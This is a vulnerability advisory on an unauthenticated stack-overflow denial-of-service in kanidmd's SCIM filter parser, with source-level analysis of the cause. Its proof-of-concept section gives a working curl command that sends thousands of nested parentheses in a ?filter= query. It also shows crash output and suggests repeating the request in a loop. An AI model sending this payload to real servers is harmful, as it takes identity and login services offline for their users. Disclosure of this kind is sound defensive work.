취약점

Summary

A single unauthenticated GET to any /scim/v1/... endpoint with a ?filter= query string of a few thousand nested parentheses (≈ 4–12 KB) drives the recursive-descent PEG parser past the worker thread's stack guard page. Rust responds to stack overflow with std::process::abort() — the entire kanidmd process exits. The parse runs inside axum's Query<ScimEntryGetQuery> extractor, before any handler body and therefore before any ACL check.

Details

The SCIM filter grammar recurses on ( and not ( with no depth bound.

proto/src/scim_v1/mod.rs:263-433 — peg::parser! { grammar scimfilter() ... }:

// line 281
"not" separator()+ "(" e:parse() ")" { ScimFilter::Not(Box::new(e)) }
// line 293
"(" e:parse() ")" { e }

Both rules re-enter parse() without a depth counter.

proto/src/scim_v1/mod.rs:442-447 — impl FromStr for ScimFilter calls scimfilter::parse(input) directly on the raw string with no length or depth pre-check.

proto/src/scim_v1/mod.rs:80-81 — ScimEntryGetQuery.filter is #[serde_as(as = "Option<DisplayFromStr>")], so deserialising the query struct invokes ScimFilter::from_str on attacker bytes.

Unauthenticated reachability — nine handlers in server/core/src/https/v1_scim.rs (route table at lines 865-1029) take Query<ScimEntryGetQuery> as an argument: /scim/v1/Entry, /scim/v1/Entry/{id}, /scim/v1/Person/{id}, /scim/v1/Application, /scim/v1/Application/{id}, /scim/v1/Class, /scim/v1/Attribute, /scim/v1/Message, /scim/v1/Message/{id}. The SCIM router is merged unconditionally for every server role (server/core/src/https/mod.rs:312).

Axum extracts handler arguments before the handler body runs. The preceding VerifiedClientInformation extractor (server/core/src/https/extractors/mod.rs:16-91) always returns Ok (line 89) regardless of credentials; authorization is deferred to the handler body, which is never reached.

The existing semantic depth limit (DEFAULT_LIMIT_FILTER_DEPTH_MAX = 12, server/lib/src/constants/mod.rs:212) is enforced in Filter::from_scim_ro (server/lib/src/filter.rs:786) after the PEG parse has already produced an AST, so it cannot prevent the parser itself from blowing the stack.

The production daemon (server/daemon/src/main.rs:735-744) uses new_multi_thread() with default 2 MiB worker stacks; hyper's max_buf_size (~400 KiB) is not lowered (server/core/src/https/mod.rs:708-727), so a 12 KB URI is accepted.

An identical unbounded grammar exists in libs/scim_proto/src/filter.rs:112-276 (not network-reachable, but should be fixed in the same patch).

PoC

curl -sk "https://idm.example.com/scim/v1/Application?filter=$(python3 -c 'print("("*3000+"a+pr"+")"*3000)')"
# → curl: (52) Empty reply from server
# → server journal: "fatal runtime error: stack overflow, aborting", SIGABRT

Release-build threshold measured at ~2 000 nesting levels / ~4 KB:

$ cargo test --release -p kanidm_proto --test scim_filter_depth -- --nocapture
parens depth=1500 len=3004
  -> survived
parens depth=2000 len=4004

thread 'audit_scim_filter_nested_parens' has overflowed its stack
fatal runtime error: stack overflow, aborting
  (signal: 6, SIGABRT: process abort signal)

End-to-end against an in-process server via kanidmd_testkit (no authentication performed):

Testkit server setup complete - http://localhost:18080/
audit_scim_dos: sending unauthenticated GET, url len = 12056

thread '...' has overflowed its stack
fatal runtime error: stack overflow, aborting
  (signal: 6, SIGABRT: process abort signal)

Impact

Process-wide availability loss; no confidentiality or integrity impact.

• Unauthenticated, default install, no feature flag required.
• Process abort, not task panic. Stack overflow triggers libstd's guard-page handler, which calls std::process::abort(). tokio's per-task catch_unwind isolation does not apply to aborts. All in-flight HTTP requests, OAuth2/OIDC sessions, LDAP binds, and the web UI are terminated.
• Repeatable. One ~12 KB GET per crash; a while true; do curl ...; done loop holds the service down indefinitely across supervisor restarts.
• The 6 011-byte variant (depth=3000) fits under the nginx default large_client_header_buffers limit of 8 KB, so a typical reverse proxy does not mitigate.

Affected: v1.7.0 through master @ edf50b9da.